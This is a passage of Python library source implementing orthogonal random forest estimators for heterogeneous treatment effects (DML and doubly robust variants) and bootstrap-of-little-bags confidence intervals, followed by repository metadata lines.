verbose=3, max_nbytes=None)( delayed(_build_tree_in_parallel)( Y[s], T[s], X[s], W[s] if W is not None else None, self.nuisance_estimator, self.parameter_estimator, self.moment_and_mean_gradient_estimator, self.min_leaf_size, self.max_depth, self.random_state.randint(MAX_RAND_SEED)) for s in subsample_ind) def _get_weights(self, X_single, tree_slice=None): """Calculate weights for a single input feature vector over a subset of trees. The subset of trees is defined by the `tree_slice` tuple (start, end). The (start, end) tuple includes all trees from `start` to `end`-1. """ w1 = np.zeros(self.Y_one.shape[0]) w2 = np.zeros(self.Y_two.shape[0]) if tree_slice is None: tree_range = range(self.n_trees) else: tree_range = range(*tree_slice) for t in tree_range: leaf = self.forest_one_trees[t].find_split(X_single) weight_indexes = self.forest_one_subsample_ind[t][leaf.est_sample_inds] leaf_weight = 1 / len(leaf.est_sample_inds) if self.bootstrap: # Bootstraping has repetitions in tree sample unique, counts = np.unique(weight_indexes, return_counts=True) w1[unique] += leaf_weight * counts else: w1[weight_indexes] += leaf_weight for t in tree_range: leaf = self.forest_two_trees[t].find_split(X_single) # Similar for `a` weights weight_indexes = self.forest_two_subsample_ind[t][leaf.est_sample_inds] leaf_weight = 1 / len(leaf.est_sample_inds) if self.bootstrap: # Bootstraping has repetitions in tree sample unique, counts = np.unique(weight_indexes, return_counts=True) w2[unique] += leaf_weight * counts else: w2[weight_indexes] += leaf_weight return (w1 / len(tree_range), w2 / len(tree_range)) def _get_blb_indices(self, X): """Get data indices for every tree under the little bags split.""" # Define subsample size subsample_size = X.shape[0] // 2 if not self.bootstrap: if self.subsample_ratio > 1.0: # Safety check warnings.warn("The argument 'subsample_ratio' must be between 0.0 and 1.0, " + "however a value of {} was provided. The 'subsample_ratio' will be changed to 1.0.") self.subsample_ratio = 1.0 subsample_size = int(self.subsample_ratio * subsample_size) subsample_ind = [] # Draw points to create little bags for it in range(self.n_slices): half_sample_inds = self.random_state.choice( X.shape[0], X.shape[0] // 2, replace=False) for _ in np.arange(it * self.slice_len, min((it + 1) * self.slice_len, self.n_trees)): subsample_ind.append(half_sample_inds[self.random_state.choice( X.shape[0] // 2, subsample_size, replace=self.bootstrap)]) return np.asarray(subsample_ind) class DMLOrthoForest(BaseOrthoForest): """OrthoForest for continuous or discrete treatments using the DML residual on residual moment function. A two-forest approach for learning heterogeneous treatment effects using kernel two stage estimation. Parameters ---------- n_trees : integer, optional (default=500) Number of causal estimators in the forest. min_leaf_size : integer, optional (default=10) The minimum number of samples in a leaf. max_depth : integer, optional (default=10) The maximum number of splits to be performed when expanding the tree. subsample_ratio : float, optional (default=0.7) The ratio of the total sample to be used when training a causal tree. Values greater than 1.0 will be considered equal to 1.0. Parameter is ignored when bootstrap=True. bootstrap : boolean, optional (default=False) Whether to use bootstrap subsampling. lambda_reg : float, optional (default=0.01) The regularization coefficient in the ell_2 penalty imposed on the locally linear part of the second stage fit. This is not applied to the local intercept, only to the coefficient of the linear component. model_T : estimator, optional (default=sklearn.linear_model.LassoCV(cv=3)) The estimator for residualizing the continuous treatment at each leaf. Must implement `fit` and `predict` methods. model_Y : estimator, optional (default=sklearn.linear_model.LassoCV(cv=3) The estimator for residualizing the outcome at each leaf. Must implement `fit` and `predict` methods. model_T_final : estimator, optional (default=None) The estimator for residualizing the treatment at prediction time. Must implement `fit` and `predict` methods. If parameter is set to ``None``, it defaults to the value of `model_T` parameter. model_Y_final : estimator, optional (default=None) The estimator for residualizing the outcome at prediction time. Must implement `fit` and `predict` methods. If parameter is set to ``None``, it defaults to the value of `model_Y` parameter. global_residualization : bool, optional (default=False) Whether to perform a prior residualization of Y and T using the model_Y_final and model_T_final estimators, or whether to perform locally weighted residualization at each target point. Global residualization is computationally less intensive, but could lose some statistical power, especially when W is not None. global_res_cv : int, cross-validation generator or an iterable, optional (default=2) The specification of the cv splitter to be used for cross-fitting, when constructing the global residuals of Y and T. discrete_treatment : bool, optional (default=False) Whether the treatment should be treated as categorical. If True, then the treatment T is one-hot-encoded and the model_T is treated as a classifier that must have a predict_proba method. categories : array like or 'auto', optional (default='auto') A list of pre-specified treatment categories. If 'auto' then categories are automatically recognized at fit time. n_jobs : int, optional (default=-1) The number of jobs to run in parallel for both :meth:`fit` and :meth:`effect`. ``-1`` means using all processors. Since OrthoForest methods are computationally heavy, it is recommended to set `n_jobs` to -1. random_state : int, :class:`~numpy.random.mtrand.RandomState` instance or None, optional (default=None) If int, random_state is the seed used by the random number generator; If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator; If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used by :mod:`np.random<numpy.random>`. """ def __init__(self, n_trees=500, min_leaf_size=10, max_depth=10, subsample_ratio=0.7, bootstrap=False, lambda_reg=0.01, model_T='auto', model_Y=WeightedLassoCVWrapper(cv=3), model_T_final=None, model_Y_final=None, global_residualization=False, global_res_cv=2, discrete_treatment=False, categories='auto', n_jobs=-1, random_state=None): # Copy and/or define models self.lambda_reg = lambda_reg if model_T == 'auto': if discrete_treatment: model_T = LogisticRegressionCV(cv=3) else: model_T = WeightedLassoCVWrapper(cv=3) self.model_T = model_T self.model_Y = model_Y self.model_T_final = model_T_final self.model_Y_final = model_Y_final if self.model_T_final is None: self.model_T_final = clone(self.model_T, safe=False) if self.model_Y_final is None: self.model_Y_final = clone(self.model_Y, safe=False) if discrete_treatment: self.model_T = _RegressionWrapper(self.model_T) self.model_T_final = _RegressionWrapper(self.model_T_final) self.random_state = check_random_state(random_state) self.global_residualization = global_residualization self.global_res_cv = global_res_cv # Define nuisance estimators nuisance_estimator = DMLOrthoForest.nuisance_estimator_generator( self.model_T, self.model_Y, self.random_state, second_stage=False, global_residualization=self.global_residualization, discrete_treatment=discrete_treatment) second_stage_nuisance_estimator = DMLOrthoForest.nuisance_estimator_generator( self.model_T_final, self.model_Y_final, self.random_state, second_stage=True, global_residualization=self.global_residualization, discrete_treatment=discrete_treatment) # Define parameter estimators parameter_estimator = DMLOrthoForest.parameter_estimator_func second_stage_parameter_estimator = DMLOrthoForest.second_stage_parameter_estimator_gen( self.lambda_reg) # Define moment_and_mean_gradient_estimator = DMLOrthoForest.moment_and_mean_gradient_estimator_func if discrete_treatment: if categories != 'auto': categories = [categories] # OneHotEncoder expects a 2D array with features per column self._one_hot_encoder = OneHotEncoder(categories=categories, sparse=False, drop='first') super().__init__( nuisance_estimator, second_stage_nuisance_estimator, parameter_estimator, second_stage_parameter_estimator, moment_and_mean_gradient_estimator, n_trees=n_trees, min_leaf_size=min_leaf_size, max_depth=max_depth, subsample_ratio=subsample_ratio, bootstrap=bootstrap, n_jobs=n_jobs, discrete_treatment=discrete_treatment, categories=categories, random_state=self.random_state) def _combine(self, X, W): if X is None: return W if W is None: return X return np.hstack([X, W]) # Need to redefine fit here for auto inference to work due to a quirk in how # wrap_fit is defined @_deprecate_positional("X and W should be passed by keyword only. In a future release " "we will disallow passing X and W by position.", ['X', 'W']) def fit(self, Y, T, X, W=None, *, inference='auto'): """Build an orthogonal random forest from a training set (Y, T, X, W). Parameters ---------- Y : array-like, shape (n, ) Outcome for the treatment policy. T : array-like, shape (n, d_t) Treatment policy. X : array-like, shape (n, d_x) Feature vector that captures heterogeneity. W : array-like, shape (n, d_w) or None (default=None) High-dimensional controls. inference: string, :class:`.Inference` instance, or None Method for performing inference. This estimator supports 'bootstrap' (or an instance of :class:`.BootstrapInference`) and 'blb' (or an instance of :class:`BLBInference`) Returns ------- self: an instance of self. """ Y, T, X, W = check_inputs(Y, T, X, W) if self.discrete_treatment: d_t_in = T.shape[1:] T = self._one_hot_encoder.fit_transform(T.reshape(-1, 1)) self._d_t = T.shape[1:] self.transformer = FunctionTransformer( func=_EncoderWrapper(self._one_hot_encoder).encode, validate=False) if self.global_residualization: cv = check_cv(self.global_res_cv, y=T, classifier=self.discrete_treatment) cv = list(cv.split(X=X, y=T)) Y = Y - _cross_val_predict(self.model_Y_final, self._combine(X, W), Y, cv=cv, safe=False).reshape(Y.shape) T = T - _cross_val_predict(self.model_T_final, self._combine(X, W), T, cv=cv, safe=False).reshape(T.shape) super().fit(Y, T, X=X, W=W, inference=inference) # weirdness of wrap_fit. We need to store d_t_in. But because wrap_fit decorates the parent # fit, we need to set explicitly d_t_in here after super fit is called. if self.discrete_treatment: self._d_t_in = d_t_in return self def const_marginal_effect(self, X): X = check_array(X) # Override to flatten output if T is flat effects = super().const_marginal_effect(X=X) return effects.reshape((-1,) + self._d_y + self._d_t) const_marginal_effect.__doc__ = BaseOrthoForest.const_marginal_effect.__doc__ @staticmethod def nuisance_estimator_generator(model_T, model_Y, random_state=None, second_stage=True, global_residualization=False, discrete_treatment=False): """Generate nuissance estimator given model inputs from the class.""" def nuisance_estimator(Y, T, X, W, sample_weight=None, split_indices=None): if global_residualization: return 0 if discrete_treatment: # Check that all discrete treatments are represented if len(np.unique(T @ np.arange(1, T.shape[1] + 1))) < T.shape[1] + 1: return None # Nuissance estimates evaluated with cross-fitting this_random_state = check_random_state(random_state) if (split_indices is None) and second_stage: if discrete_treatment: # Define 2-fold iterator kfold_it = StratifiedKFold(n_splits=2, shuffle=True, random_state=this_random_state).split(X, T) # Check if there is only one example of some class with warnings.catch_warnings(): warnings.filterwarnings('error') try: split_indices = list(kfold_it)[0] except Warning as warn: msg = str(warn) if "The least populated class in y has only 1 members" in msg: return None else: # Define 2-fold iterator kfold_it = KFold(n_splits=2, shuffle=True, random_state=this_random_state).split(X) split_indices = list(kfold_it)[0] if W is not None: X_tilde = np.concatenate((X, W), axis=1) else: X_tilde = X try: if second_stage: T_hat = _cross_fit(model_T, X_tilde, T, split_indices, sample_weight=sample_weight) Y_hat = _cross_fit(model_Y, X_tilde, Y, split_indices, sample_weight=sample_weight) else: # need safe=False when cloning for WeightedModelWrapper T_hat = clone(model_T, safe=False).fit(X_tilde, T).predict(X_tilde) Y_hat = clone(model_Y, safe=False).fit(X_tilde, Y).predict(X_tilde) except ValueError as exc: raise ValueError("The original error: {0}".format(str(exc)) + " This might be caused by too few sample in the tree leafs." + " Try increasing the min_leaf_size.") return Y_hat, T_hat return nuisance_estimator @staticmethod def parameter_estimator_func(Y, T, X, nuisance_estimates, sample_weight=None): """Calculate the parameter of interest for points given by (Y, T) and corresponding nuisance estimates.""" # Compute residuals Y_res, T_res = DMLOrthoForest._get_conforming_residuals(Y, T, nuisance_estimates) # Compute coefficient by OLS on residuals param_estimate = LinearRegression(fit_intercept=False).fit( T_res, Y_res, sample_weight=sample_weight ).coef_ # Parameter returned by LinearRegression is (d_T, ) return param_estimate @staticmethod def second_stage_parameter_estimator_gen(lambda_reg): """ For the second stage parameter estimation we add a local linear correction. So we fit a local linear function as opposed to a local constant function. We also penalize the linear part to reduce variance. """ def parameter_estimator_func(Y, T, X, nuisance_estimates, sample_weight, X_single): """Calculate the parameter of interest for points given by (Y, T) and corresponding nuisance estimates. The parameter is calculated around the feature vector given by `X_single`. `X_single` can be used to do local corrections on a preliminary parameter estimate. """ # Compute residuals Y_res, T_res = DMLOrthoForest._get_conforming_residuals(Y, T, nuisance_estimates) X_aug = np.hstack([np.ones((X.shape[0], 1)), X]) XT_res = cross_product(T_res, X_aug) # Compute coefficient by OLS on residuals if sample_weight is not None: weighted_XT_res = sample_weight.reshape(-1, 1) * XT_res else: weighted_XT_res = XT_res / XT_res.shape[0] # ell_2 regularization diagonal = np.ones(XT_res.shape[1]) diagonal[:T_res.shape[1]] = 0 reg = lambda_reg * np.diag(diagonal) # Ridge regression estimate linear_coef_estimate = np.linalg.lstsq(np.matmul(weighted_XT_res.T, XT_res) + reg, np.matmul(weighted_XT_res.T, Y_res.reshape(-1, 1)), rcond=None)[0].flatten() X_aug = np.append([1], X_single) linear_coef_estimate = linear_coef_estimate.reshape((X_aug.shape[0], -1)).T # Parameter returned is of shape (d_T, ) return np.dot(linear_coef_estimate, X_aug) return parameter_estimator_func @staticmethod def moment_and_mean_gradient_estimator_func(Y, T, X, W, nuisance_estimates, parameter_estimate): """Calculate the moments and mean gradient at points given by (Y, T, X, W).""" # Return moments and gradients # Compute residuals Y_res, T_res = DMLOrthoForest._get_conforming_residuals(Y, T, nuisance_estimates) # Compute moments # Moments shape is (n, d_T) moments = (Y_res - np.matmul(T_res, parameter_estimate)).reshape(-1, 1) * T_res # Compute moment gradients mean_gradient = - np.matmul(T_res.T, T_res) / T_res.shape[0] return moments, mean_gradient @staticmethod def _get_conforming_residuals(Y, T, nuisance_estimates): if nuisance_estimates == 0: return reshape_Y_T(Y, T) # returns shape-conforming residuals Y_hat, T_hat = reshape_Y_T(*nuisance_estimates) Y, T = reshape_Y_T(Y, T) Y_res, T_res = Y - Y_hat, T - T_hat return Y_res, T_res class DROrthoForest(BaseOrthoForest): """ OrthoForest for discrete treatments using the doubly robust moment function. A two-forest approach for learning heterogeneous treatment effects using kernel two stage estimation. Parameters ---------- n_trees : integer, optional (default=500) Number of causal estimators in the forest. min_leaf_size : integer, optional (default=10) The minimum number of samples in a leaf. max_depth : integer, optional (default=10) The maximum number of splits to be performed when expanding the tree. subsample_ratio : float, optional (default=0.7) The ratio of the total sample to be used when training a causal tree. Values greater than 1.0 will be considered equal to 1.0. Parameter is ignored when bootstrap=True. bootstrap : boolean, optional (default=False) Whether to use bootstrap subsampling. lambda_reg : float, optional (default=0.01) The regularization coefficient in the ell_2 penalty imposed on the locally linear part of the second stage fit. This is not applied to the local intercept, only to the coefficient of the linear component. propensity_model : estimator, optional (default=sklearn.linear_model.LogisticRegression(penalty='l1',\ solver='saga',\ multi_class='auto')) Model for estimating propensity of treatment at each leaf. Will be trained on features and controls (concatenated). Must implement `fit` and `predict_proba` methods. model_Y : estimator, optional (default=sklearn.linear_model.LassoCV(cv=3)) Estimator for learning potential outcomes at each leaf. Will be trained on features, controls and one hot encoded treatments (concatenated). If different models per treatment arm are desired, see the :class:`.MultiModelWrapper` helper class. The model(s) must implement `fit` and `predict` methods. propensity_model_final : estimator, optional (default=None) Model for estimating propensity of treatment at at prediction time. Will be trained on features and controls (concatenated). Must implement `fit` and `predict_proba` methods. If parameter is set to ``None``, it defaults to the value of `propensity_model` parameter. model_Y_final : estimator, optional (default=None) Estimator for learning potential outcomes at prediction time. Will be trained on features, controls and one hot encoded treatments (concatenated). If different models per treatment arm are desired, see the :class:`.MultiModelWrapper` helper class. The model(s) must implement `fit` and `predict` methods. If parameter is set to ``None``, it defaults to the value of `model_Y` parameter. categories: 'auto' or list The categories to use when encoding discrete treatments (or 'auto' to use the unique sorted values). The first category will be treated as the control treatment. n_jobs : int, optional (default=-1) The number of jobs to run in parallel for both :meth:`fit` and :meth:`effect`. ``-1`` means using all processors. Since OrthoForest methods are computationally heavy, it is recommended to set `n_jobs` to -1. random_state : int, :class:`~numpy.random.mtrand.RandomState` instance or None, optional (default=None) If int, random_state is the seed used by the random number generator; If :class:`~numpy.random.mtrand.RandomState` instance, random_state is the random number generator; If None, the random number generator is the :class:`~numpy.random.mtrand.RandomState` instance used by :mod:`np.random<numpy.random>`. """ def __init__(self, n_trees=500, min_leaf_size=10, max_depth=10, subsample_ratio=0.7, bootstrap=False, lambda_reg=0.01, propensity_model=LogisticRegression(penalty='l1', solver='saga', multi_class='auto'), # saga solver supports l1 model_Y=WeightedLassoCVWrapper(cv=3), propensity_model_final=None, model_Y_final=None, categories='auto', n_jobs=-1, random_state=None): # Copy and/or define models self.propensity_model = clone(propensity_model, safe=False) self.model_Y = clone(model_Y, safe=False) self.propensity_model_final = clone(propensity_model_final, safe=False) self.model_Y_final = clone(model_Y_final, safe=False) if self.propensity_model_final is None: self.propensity_model_final = clone(self.propensity_model, safe=False) if self.model_Y_final is None: self.model_Y_final = clone(self.model_Y, safe=False) self.random_state = check_random_state(random_state) nuisance_estimator = DROrthoForest.nuisance_estimator_generator( self.propensity_model, self.model_Y, self.random_state, second_stage=False) second_stage_nuisance_estimator = DROrthoForest.nuisance_estimator_generator( self.propensity_model_final, self.model_Y_final, self.random_state, second_stage=True) # Define parameter estimators parameter_estimator = DROrthoForest.parameter_estimator_func second_stage_parameter_estimator = DROrthoForest.second_stage_parameter_estimator_gen( lambda_reg) # Define moment and mean gradient estimator moment_and_mean_gradient_estimator = DROrthoForest.moment_and_mean_gradient_estimator_func if categories != 'auto': categories = [categories] # OneHotEncoder expects a 2D array with features per column self._one_hot_encoder = OneHotEncoder(categories=categories, sparse=False, drop='first') super().__init__( nuisance_estimator, second_stage_nuisance_estimator, parameter_estimator, second_stage_parameter_estimator, moment_and_mean_gradient_estimator, discrete_treatment=True, categories=categories, n_trees=n_trees, min_leaf_size=min_leaf_size, max_depth=max_depth, subsample_ratio=subsample_ratio, bootstrap=bootstrap, n_jobs=n_jobs, random_state=self.random_state) @_deprecate_positional("X and W should be passed by keyword only. In a future release " "we will disallow passing X and W by position.", ['X', 'W']) def fit(self, Y, T, X, W=None, *, inference='auto'): """Build an orthogonal random forest from a training set (Y, T, X, W). Parameters ---------- Y : array-like, shape (n, ) Outcome for the treatment policy. Must be a vector. T : array-like, shape (n, ) Discrete treatment policy vector. The treatment policy should be a set of consecutive integers starting with `0`, where `0` denotes the control group. Otherwise, the treatment policies will be ordered lexicographically, with the smallest value being considered the control group. X : array-like, shape (n, d_x) Feature vector that captures heterogeneity. W : array-like, shape (n, d_w) or None (default=None) High-dimensional controls. inference: string, :class:`.Inference` instance, or None Method for performing inference. This estimator supports 'bootstrap' (or an instance of :class:`.BootstrapInference`) and 'blb' (or an instance of :class:`BLBInference`) Returns ------- self: an instance of self. """ # Check that T is shape (n, ) # Check T is numeric T = self._check_treatment(T) d_t_in = T.shape[1:] # Train label encoder T = self._one_hot_encoder.fit_transform(T.reshape(-1, 1)) self._d_t = T.shape[1:] self.transformer = FunctionTransformer( func=_EncoderWrapper(self._one_hot_encoder).encode, validate=False) # Call `fit` from parent class super().fit(Y, T, X=X, W=W, inference=inference) # weirdness of wrap_fit. We need to store d_t_in. But because wrap_fit decorates the parent # fit, we need to set explicitly d_t_in here after super fit is called. self._d_t_in = d_t_in return self def const_marginal_effect(self, X): X = check_array(X) # Override to flatten output if T is flat effects = super().const_marginal_effect(X=X) return effects.reshape((-1,) + self._d_y + self._d_t) const_marginal_effect.__doc__ = BaseOrthoForest.const_marginal_effect.__doc__ @staticmethod def nuisance_estimator_generator(propensity_model, model_Y, random_state=None, second_stage=False): """Generate nuissance estimator given model inputs from the class.""" def nuisance_estimator(Y, T, X, W, sample_weight=None, split_indices=None): # Expand one-hot encoding to include the zero treatment ohe_T = np.hstack([np.all(1 - T, axis=1, keepdims=True), T]) # Test that T contains all treatments. If not, return None T = ohe_T @ np.arange(ohe_T.shape[1]) if len(np.unique(T)) < ohe_T.shape[1]: return None # Nuissance estimates evaluated with cross-fitting this_random_state = check_random_state(random_state) if (split_indices is None) and second_stage: # Define 2-fold iterator kfold_it = StratifiedKFold(n_splits=2, shuffle=True, random_state=this_random_state).split(X, T) # Check if there is only one example of some class with warnings.catch_warnings(): warnings.filterwarnings('error') try: split_indices = list(kfold_it)[0] except Warning as warn: msg = str(warn) if "The least populated class in y has only 1 members" in msg: return None if W is not None: X_tilde = np.concatenate((X, W), axis=1) else: X_tilde = X try: if not second_stage: # No need to crossfit for internal nodes propensity_model_clone = clone(propensity_model, safe=False) propensity_model_clone.fit(X_tilde, T) propensities = propensity_model_clone.predict_proba(X_tilde) Y_hat = _group_predict(X_tilde, ohe_T.shape[1], clone(model_Y, safe=False).fit(np.hstack([X_tilde, ohe_T]), Y).predict) else: propensities = _cross_fit(propensity_model, X_tilde, T, split_indices, sample_weight=sample_weight, predict_func_name='predict_proba') Y_hat = _group_cross_fit(model_Y, X_tilde, Y, ohe_T, split_indices, sample_weight=sample_weight) except ValueError as exc: raise ValueError("The original error: {0}".format(str(exc)) + " This might be caused by too few sample in the tree leafs." + " Try increasing the min_leaf_size.") return Y_hat, propensities return nuisance_estimator @staticmethod def parameter_estimator_func(Y, T, X, nuisance_estimates, sample_weight=None): """Calculate the parameter of interest for points given by (Y, T) and corresponding nuisance estimates.""" # Compute partial moments pointwise_params = DROrthoForest._partial_moments(Y, T, nuisance_estimates) param_estimate = np.average(pointwise_params, weights=sample_weight, axis=0) # If any of the values in the parameter estimate is nan, return None return param_estimate @staticmethod def second_stage_parameter_estimator_gen(lambda_reg): """ For the second stage parameter estimation we add a local linear correction. So we fit a local linear function as opposed to a local constant function. We also penalize the linear part to reduce variance. """ def parameter_estimator_func(Y, T, X, nuisance_estimates, sample_weight, X_single): """Calculate the parameter of interest for points given by (Y, T) and corresponding nuisance estimates. The parameter is calculated around the feature vector given by `X_single`. `X_single` can be used to do local corrections on a preliminary parameter estimate. """ # Compute partial moments pointwise_params = DROrthoForest._partial_moments(Y, T, nuisance_estimates) X_aug = np.hstack([np.ones((X.shape[0], 1)), X]) # Compute coefficient by OLS on residuals if sample_weight is not None: weighted_X_aug = sample_weight.reshape(-1, 1) * X_aug else: weighted_X_aug = X_aug / X_aug.shape[0] # ell_2 regularization diagonal = np.ones(X_aug.shape[1]) diagonal[0] = 0 reg = lambda_reg * np.diag(diagonal) # Ridge regression estimate linear_coef_estimate = np.linalg.lstsq(np.matmul(weighted_X_aug.T, X_aug) + reg, np.matmul(weighted_X_aug.T, pointwise_params), rcond=None)[0].flatten() X_aug = np.append([1], X_single) linear_coef_estimate = linear_coef_estimate.reshape((X_aug.shape[0], -1)).T # Parameter returned is of shape (d_T, ) return np.dot(linear_coef_estimate, X_aug) return parameter_estimator_func @staticmethod def moment_and_mean_gradient_estimator_func(Y, T, X, W, nuisance_estimates, parameter_estimate): """Calculate the moments and mean gradient at points given by (Y, T, X, W).""" # Return moments and gradients # Compute partial moments partial_moments = DROrthoForest._partial_moments(Y, T, nuisance_estimates) # Compute moments # Moments shape is (n, d_T-1) moments = partial_moments - parameter_estimate # Compute moment gradients n_T = nuisance_estimates[0].shape[1] - 1 mean_gradient = np.diag(np.ones(n_T) * (-1)) return moments, mean_gradient @staticmethod def _partial_moments(Y, T, nuisance_estimates): Y_hat, propensities = nuisance_estimates partial_moments = np.zeros((len(Y), Y_hat.shape[1] - 1)) T = T @ np.arange(1, T.shape[1] + 1) mask_0 = (T == 0) for i in range(0, Y_hat.shape[1] - 1): # Need to calculate this in an elegant way for when propensity is 0 partial_moments[:, i] = Y_hat[:, i + 1] - Y_hat[:, 0] mask_i = (T == (i + 1)) partial_moments[:, i][mask_i] += (Y - Y_hat[:, i + 1])[mask_i] / propensities[:, i + 1][mask_i] partial_moments[:, i][mask_0] -= (Y - Y_hat[:, 0])[mask_0] / propensities[:, 0][mask_0] return partial_moments def _check_treatment(self, T): try: # This will flatten T T = column_or_1d(T) except Exception as exc: raise ValueError("Expected array of shape ({n}, ), but got {T_shape}".format(n=len(T), T_shape=T.shape)) # Check that T is numeric try: T.astype(float) except Exception as exc: raise ValueError("Expected numeric array but got non-numeric types.") return T class BLBInference(Inference): """ Bootstrap-of-Little-Bags inference implementation for the OrthoForest classes. This class can only be used for inference with any estimator derived from :class:`BaseOrthoForest`. Parameters ---------- estimator : :class:`BaseOrthoForest` Estimator to perform inference on. Must be a child class of :class:`BaseOrthoForest`. """ def fit(self, estimator, *args, **kwargs): """ Fits the inference model. This is called after the estimator's fit. """ self._estimator = estimator # Test whether the input estimator is supported if not hasattr(self._estimator, "_predict"): raise TypeError("Unsupported estimator of type {}.".format(self._estimator.__class__.__name__) + " Estimators must implement the '_predict' method with the correct signature.") return self def const_marginal_effect_interval(self, X=None, *, alpha=0.1): """ Confidence intervals for the quantities :math:`\\theta(X)` produced by the model. Available only when ``inference`` is ``blb`` or ``auto``, when calling the fit method. Parameters ---------- X: optional (m, d_x) matrix or None (Default=None) Features for each sample alpha: optional float in [0, 1] (Default=0.1) The overall level of confidence of the reported interval. The alpha/2, 1-alpha/2 confidence interval is reported. Returns ------- lower, upper : tuple(type of :meth:`const_marginal_effect(X)<const_marginal_effect>` ,\ type of :meth:`const_marginal_effect(X)<const_marginal_effect>` ) The lower and the upper bounds of the confidence interval for each quantity. """ X = check_array(X) params_and_cov = self._predict_wrapper(X) # Calculate confidence intervals for the parameter (marginal effect) lower = alpha / 2 upper = 1 - alpha / 2 param_lower = [param + np.apply_along_axis(lambda s: norm.ppf(lower, scale=s), 0, np.sqrt(np.diag(cov_mat))) for (param, cov_mat) in params_and_cov] param_upper = [param + np.apply_along_axis(lambda s: norm.ppf(upper, scale=s), 0, np.sqrt(np.diag(cov_mat))) for (param, cov_mat) in params_and_cov] param_lower, param_upper = np.asarray(param_lower), np.asarray(param_upper) return param_lower.reshape((-1,) + self._estimator._d_y + self._estimator._d_t),\ param_upper.reshape((-1,) + self._estimator._d_y + self._estimator._d_t) def const_marginal_effect_inference(self, X=None): """ Inference results for the quantities :math:`\\theta(X)` produced by the model. Available only when ``inference`` is ``blb`` or ``auto``, when calling the fit method. Parameters ---------- X: optional (m, d_x) matrix or None (Default=None) Features for each sample Returns ------- InferenceResults: instance of :class:`~econml.inference.NormalInferenceResults` The inference results instance contains prediction and prediction standard error and can on demand calculate confidence interval, z statistic and p value. It can also output a dataframe summary of these inference results. """ X = check_array(X) params, cov = zip(*(self._predict_wrapper(X))) params = np.array(params).reshape((-1,) + self._estimator._d_y + self._estimator._d_t) stderr = np.sqrt(np.diagonal(np.array(cov), axis1=1, axis2=2)) stderr = stderr.reshape((-1,) + self._estimator._d_y + self._estimator._d_t) return NormalInferenceResults(d_t=self._estimator._d_t[0] if self._estimator._d_t else 1, d_y=self._estimator._d_y[0] if self._estimator._d_y else 1, pred=params, pred_stderr=stderr, inf_type='effect') def _effect_inference_helper(self, X, T0, T1): X, T0, T1 = self._estimator._expand_treatments(*check_input_arrays(X, T0, T1)) dT = (T1 - T0) if T0.ndim == 2 else (T1 - T0).reshape(-1, 1) params_and_cov = self._predict_wrapper(X) # Calculate confidence intervals for the effect # Calculate the effects eff = np.asarray([np.dot(params_and_cov[i][0], dT[i]) for i in range(X.shape[0])]) # Calculate the standard deviations for the effects scales = np.asarray([np.sqrt(dT[i] @ params_and_cov[i][1] @ dT[i]) for i in range(X.shape[0])]) return eff.reshape((-1,) + self._estimator._d_y), scales.reshape((-1,) + self._estimator._d_y) def effect_interval(self, X=None, *, T0=0, T1=1, alpha=0.1): """ Confidence intervals for the quantities :math:`\\tau(X, T0, T1)` produced by the model. Available only when ``inference`` is ``blb`` or ``auto``, when calling the fit method. Parameters ---------- X: optional (m, d_x) matrix Features for each sample T0: optional (m, d_t) matrix or vector of length m (Default=0) Base treatments for each sample T1: optional (m, d_t) matrix or vector of length m (Default=1) Target treatments for each sample alpha: optional float in [0, 1] (Default=0.1) The overall level of confidence of the reported interval. The alpha/2, 1-alpha/2 confidence interval is reported. Returns ------- lower, upper : tuple(type of :meth:`effect(X, T0, T1)<effect>`, type of :meth:`effect(X, T0, T1))<effect>` ) The lower and the upper bounds of the confidence interval for each quantity. """ eff, scales = self._effect_inference_helper(X, T0, T1) lower = alpha / 2 upper = 1 - alpha / 2 effect_lower = eff + np.apply_along_axis(lambda s: norm.ppf(lower, scale=s), 0, scales) effect_upper = eff + np.apply_along_axis(lambda s: norm.ppf(upper, scale=s), 0, scales) return effect_lower, effect_upper def effect_inference(self, X=None, *, T0=0, T1=1): """ Inference results for the quantities :math:`\\tau(X, T0, T1)` produced by the model. Available only when ``inference`` is ``blb`` or ``auto``, when calling the fit method. Parameters ---------- X: optional (m, d_x) matrix Features for each sample T0: optional (m, d_t) matrix or vector of length m (Default=0) Base treatments for each sample T1: optional (m, d_t) matrix or vector of length m (Default=1) Target treatments for each sample Returns ------- InferenceResults: instance of :class:`~econml.inference.NormalInferenceResults` The inference results instance contains prediction and prediction standard error and can on demand calculate confidence interval, z statistic and p value. It can also output a dataframe summary of these inference results. """ eff, scales = self._effect_inference_helper(X, T0, T1) return NormalInferenceResults(d_t=1, d_y=self._estimator._d_y[0] if self._estimator._d_y else 1, pred=eff, pred_stderr=scales, inf_type='effect') def _predict_wrapper(self, X=None): return self._estimator._predict(X, stderr=True) @deprecated("The ContinuousTreatmentOrthoForest class has been renamed to DMLOrthoForest; " "an upcoming release will remove support for the old name") class ContinuousTreatmentOrthoForest(DMLOrthoForest): pass @deprecated("The DiscreteTreatmentOrthoForest class has been renamed to DROrthoForest; " "an upcoming release will remove support for the old name") class DiscreteTreatmentOrthoForest(DROrthoForest): pass
48.325781
118
0.625572
795954ab33a4583428e9dca27bb6d4f41294f51e
1,608
py
Python
dataviva/utils/title_format.py
joelvisroman/dataviva-site
b4219558457746fd5c6b8f4b65b04c738c656fbd
[ "MIT" ]
126
2015-03-24T12:30:43.000Z
2022-01-06T03:29:54.000Z
dataviva/utils/title_format.py
joelvisroman/dataviva-site
b4219558457746fd5c6b8f4b65b04c738c656fbd
[ "MIT" ]
694
2015-01-14T11:55:28.000Z
2021-02-08T20:23:11.000Z
dataviva/utils/title_format.py
joelvisroman/dataviva-site
b4219558457746fd5c6b8f4b65b04c738c656fbd
[ "MIT" ]
52
2015-06-19T01:54:56.000Z
2019-09-23T13:10:46.000Z
